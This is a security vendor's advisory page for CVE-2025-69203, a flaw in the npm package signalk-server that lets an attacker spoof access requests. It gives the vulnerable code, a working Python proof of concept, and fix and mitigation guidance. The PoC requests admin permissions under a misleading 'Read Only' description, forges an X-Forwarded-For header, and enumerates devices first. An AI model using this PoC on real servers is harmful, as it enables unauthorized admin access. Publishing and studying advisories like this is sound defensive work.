NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2025-69203 — signalk-server

MEDIUMFix: SignalK/signalk-server@221aff6

CVE-2025-69203 is a medium-severity (CVSS 6.3) CWE-290 vulnerability in signalk-server. A fix is available for signalk-server — see the affected versions and patch details below.

Signal K Server Vulnerable to Access Request Spoofing

Also known asGHSA-vfrf-vcj7-wvr8
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-69203.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk
0.00%0.27%0.54%0.81%0.0%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
signalk-servernpm
7Kdownloads / week

Description

The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.

When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access.

The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.

Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.

Affected Code

File: packages/server-admin-ui/src/views/security/AccessRequests.js

The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.

File: src/tokensecurity.js (access request creation and IP extraction)

// Access request accepts any permissions value from the client
const permissions = req.body.permissions  // No validation against description

// IP address extraction trusts X-Forwarded-For without validation
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress

The code prioritizes the X-Forwarded-For header over the actual connection IP, allowing client-controlled spoofing.

Impact

An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.

PoC

import requests

TARGET = "http://localhost:3000"
SPOOFED_IP = "192.168.1.100"

def create_spoofed_request(device_name):
    payload = {
        "clientId": device_name,
        "description": f"{device_name} - Read Only",  # Misleading
        "permissions": "admin"  # Actually requesting admin!
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Forwarded-For": SPOOFED_IP  # Spoof internal IP
    }
    
    r = requests.post(
        f"{TARGET}/signalk/v1/access/requests",
        json=payload,
        headers=headers
    )
    
    if r.status_code == 202:
        data = r.json()
        href = data.get("href")
        request_id = href.split("/")[-1] if href else None
        
        print(f"[+] Access request created!")
        print(f"[+] Request ID: {request_id}")
        print(f"[+] Admin sees: '{payload['description']}'")
        print(f"[+] Actual permissions: {payload['permissions']}")
        print(f"[+] Spoofed IP: {SPOOFED_IP}")
        
        return request_id
    else:
        print(f"[-] Failed: {r.status_code} - {r.text}")
        return None

if __name__ == "__main__":
    # First enumerate devices/sources using info disclosure vulnerability
    sources = requests.get(f"{TARGET}/signalk/v1/api/sources").json()
    devices = [d for d in sources.keys() if d != "defaults"]
    
    if devices:
        print(f"[+] Found devices: {devices}")
        create_spoofed_request(devices[0])
    else:
        create_spoofed_request("sensor-01")

Recommendation

  1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.
  2. Validate X-Forwarded-For headers. Only trust X-Forwarded-For headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes.
  3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmsignalk-serverall versions2.19.0npm install signalk-server@2.19.0

Affected Products

1 product · 5 configurations
Application
signal k serversignalk
< 2.19.0
1 version
2.19.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-69203 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `
O3 Security · Impact-Aware SCA

Is CVE-2025-69203 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2025-69203: signalk-server — Fixed in 2.19.0